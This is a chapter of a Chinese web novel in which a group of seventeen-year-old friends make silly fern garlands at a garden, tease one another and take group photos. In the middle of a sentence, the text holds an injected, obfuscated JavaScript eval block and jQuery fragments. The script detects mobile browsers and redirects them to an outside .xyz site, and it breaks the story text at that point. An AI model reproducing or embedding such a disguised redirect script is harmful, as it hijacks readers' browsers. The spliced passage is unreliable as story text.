66. chapter 66 风华正茂

作品:《这根本不是救赎公式

    六月二十五日下午三点零二分,诗久夏确认自己今天撞鬼了。


    她本来只是去再看一遍刚认识过的花,记忆加深一遍后不容易忘,结果正准备回去找方惊芜瞥见了旁边的另一种从未见过的装饰草,于是停下来研究了一会儿。


    等她顺着路走回去,原本该站在原地等她的方惊芜早已消失不见,四周别说记号,连根线都没给她留,安静地好像她闯入了什么极易让人沉浸在花草树木里的梦核。


    诗久夏在原地呆了好几秒,试图用心电感应知晓除她以外的其他人去了哪里。


    整个院子安静成一片,这些花刚浇水,估计前脚刚浇完,后脚她们就来了这,挂在树叶上的水滴顺着茎缓缓滑落,洇入泥土里,诗久夏摸出手机,准备采用最简单最原始的办法找人。


    指尖停留在电话拨打界面,即将按下拨打键时,院子里面传来些轻微的响动声,诗久夏一抬头,放下手机,犹豫着向前走了几步。


    沿着石子路走进庄园,几十步后见到了消失在身边的人,不过她没敢向前。


    太诡异了,她根本不敢确认前面那几个人真的是和她一起出门的人。


    不然他们六个怎么会一句话也不说安静的背对着她站在一起?


    平时别说六个人站在一起,就算只有两个人站在一起,都有断不完的“案”,说不完的理,这下六个人全撞在一堆,竟然还能安静的如此诡异。


    不是她又撞了鬼,就是这六个人心里有鬼。


    一天连撞两次鬼,运气有点好,诗久夏低头默默想。


    回家就让她妈把当初来她家招摇撞骗的道士找来,把鬼缠身的几个人打清醒。


    诗久夏还在天马行空的想着东西,侧头查看其他人进度的方惊芜余光忽然瞥见一抹熟悉的衣角,立马转头看她,“久夏,你回来啦?”


    几乎是方惊芜喊出诗久夏名字的那一刻,背对着她的六个人在一瞬间全部转过头朝她冲了过来。


    来不及反应自己是该跑,还是该站在原地看一群人到底要干嘛,往后顿的脚猛然顿住,头发压上一个分量小小存在感却极强的东西。


    紧接着,她的俩只手腕也被人拉了出来,套上圆圆的,凉凉的,有些挠人的东西。


    是花环。


    诗久夏抬头看去,六人刚刚站着的位置是一张长方形的操作台,上面摆得多是编制花环用的草,还有一些展示图,再前面是花墙,转供做花环摘取。


    “谁做的这个?!谁做的?!”路谨言举着手机,不知道在看什么,忽然绿着一张脸咆哮起来,“谁做的这个丑东西,自己站出来!!!”


    诗久夏的注意力一下被转走,刚移到路谨言头上,一个没憋住笑出声来。


    “这不是很符合你闷骚的气质吗?”方惊芜在旁边笑着指挥,“还有你的墨镜呢?快拿出来装一下。”


    脖颈间传来浅浅的痒意,方敬芜已经扑到诗久夏肩膀上笑得不能自己,同时还不忘刺激路谨言,“太丑了,太丑了,实在是太丑了!”


    诗久夏搂住人,没忍住又往路谨言的头上瞥了一眼,低下头把脸凑到方惊芜旁边掩盖笑意,中肯地回答,“很好看,颇有丛林之王的风范。”


    路谨言头上顶着一只类似花环的花环。


    ——那些东西确实是用作花环的材料编织而成,只是到底做成了什么东西有待考量。


    ——花环的最底部仍是用藤蔓编制而成,只是中间原本该放花的位置插上了一片又一片立着的蕨类叶片,像头上长出了一片几十厘米高的草,用作于他人交流时的信号接收器,直直冲着天,丑的不是一般人能做出来的。


    “丛林之王?老虎?”路谨言要拿开东西的手一顿,又举起手机认真欣赏起来。


    “不是啊。”诗久夏攥住方惊芜衣角,肩膀上的人也颤抖着身体,抬起头看她一眼,笑软的身体半靠在她身上,直觉诗久夏说的不是能让路谨言高兴的话。


    诗久夏咬紧嘴唇忍笑,尽量憋住声音里的不怀好意,把后面的难听词说的难听又正经。


    “吗喽。”


    “……”


    来不及,根本来不及,来不及发怒,周围已经笑做一团。


    斯郁和裴逢老早就偏头开笑了,谢敬本来还能忍一会儿,听见诗久夏的吗喽二字也憋不住了,倚靠在后面的操作台上仰天长笑。


    头上又压上一点重量,目睹完全程的祝与青拨弄着刚扣在头上的丑东西,不咸不淡地道,“彼此彼此,你做的东西也没好看到哪里去。”


    “你知道吗?你很有商业头脑。”祝与青表情认真,“去猎奇区摆上你做的丑东西,你就是最大的赢家。”


    “……”


    六个人转身时头手各司其职,根本没眼睛看谁把谁做的丑东西扣在了谁的头上,只顾让旁边的好兄弟戴上自己亲手做的更丑的丑东西。


    祝与青头上也戴着个差不多的花环。要不说是兄弟,一行几个人头上都插的是蕨菜,没一个人插了其他东西,不过形状倒是各不相同。


    路谨言塞满头,谢敬前面空着,后脑勺的部分全部塞满,裴逢左半边冲天高,右半边又是不过几厘米的娃娃草,斯郁头上的是叠叠乐,好几片叶子重在一起,中间穿插起新的叶子,最后在上面直直立起一根,有些像避雷针。


    给祝与青扣花环的人算是几个人里心肠最好,最没歹毒心思的了,缠绕而成的花圈底部只右侧插了两根立着的蕨菜,幻视原始部落里插着俩根羽毛送信的使者,配着这人的脸倒是不难看,只是有些出戏。


    方惊芜头上就是非常正规的花环了,除了底部没用其他草,中间插的全是花,甚至每种花几乎都不重样,采的是一个品种里最漂亮的那朵,手上套着的也没招笑东西,都很漂亮。


    诗久夏收回视线,摁开手机翻转摄像头,想看看自己头上的又是什么丑东西,屏幕里却映着两条花环。


    第一条她知道,是方惊芜给她戴的,另一条……


    诗久夏用余光扫一眼旁边的祝与青,又想起刚刚忽然增加的重量,应该是祝与青做给她的。


    两条花环都用了巧思,花朵的品种很相似,布局却极具特色。


    方惊芜那根按的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077350|170401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是色系,一个颜色的花朵凑到一起,中间摆放的是同一个色系中最大的一朵,其他小花密密麻麻的插在边缘,从白色,粉色,浅黄,红色,依次排序,密密麻麻,整整齐齐,非常豪华,一眼瞧去,很有秩序的漂亮,却又不显单调。


    祝与青的那根放的很小心,没有压到下面的花,只是轻轻搭在下面的花环上,好几种颜色杂糅在一起,大小摆放不一,偏巧又不乱,只会让人觉得每朵花都在该待的位置上,单拎出哪一朵都是点睛之笔。


    花环就这样搭在她头上,衬的她脑袋都漂亮了几分。


    手腕上的腕花也全都很漂亮,好像除了她俩,其他几个人的都有极大的搞怪成分在。


    既然是相互送,自然就没有落下一个人的道理。


    诗久夏上前一步,拨开吵吵囔囔喊丑的众人,站在操作台上给方惊芜做了花环,又给其他五个做了手环。


    花环做好,一群人又跑了出去,诗久夏和方惊芜一起拍来之前就约好要拍的手势舞和转场视频,最后还拍了好些照片。


    头上顶着两根花环,自然不会太好动,诗久夏动作幅度稍稍大些就要伸手掌一下头上的东西。


    正坐在草地上和方惊芜看刚拍好的照片,头上一轻,两根花环都被人取了下来,诗久夏回头去看,祝与青正站在她身后,手中拿着消失在她头上的花环。


    祝与青没说话,又取下方惊芜头上的俩根花环,换了个离她们不远的位置捣鼓。


    他垂着头,诗久夏眯着眼睛只能看见他的侧脸,手上轻快地动作着,神情专注。


    花环再次回到头上时已经变成了一条,祝与青收手时指尖在她的辫子上碰了一下,再去看时,发丝间已经生出了一朵带着清香的茉莉。


    半开不开,落于黑丝。


    诗久夏抬头,她已经从祝与青的眼睛里看到了她头上重新带上的花环。


    保留的是方惊芜给她做的那根,祝与青做的那根被他自己拆掉了,重新缠绕在另一条花环上,花朵层层叠叠,几乎盖住她整个头,变成了plus版本。


    方惊芜的也被改成了以她做的花环为主,围上一层其他人做的超大版本。


    “快点快点!摄像机在谁手里!”路谨言从高高的山坡上冲下,前面跟着被“狗”追,跑得脸红气粗的斯郁,裴逢和谢敬慢悠悠跟在旁边看戏,离俩人几丈远,生怕殃及池鱼。


    “我这我这!”方惊芜左手举起相机大喊,“快过来!”


    斯郁跑得像逃难,一段坡下来腿都快软了,时不时还要回头看一眼身后赶牛一样的“畜牧人”,免遭被对方撸去拍“我是一个农村人”的“美味佳肴”,还得分心去掌头上那丑的该死的花环。


    一群人终于从山坡上冲下来,方惊芜立好相机站远了些,算着时间卡点,站到诗久夏身边,等着其他人出现在取景器框里。


    大写加粗的321消失,未收的笑容,布满汗水的额头,丑的独具特色的花环,随风扬起的衣角和发丝,身后的绿茵,正好的太阳全都收进相机里。


    六月末,十七岁,少年风华正茂。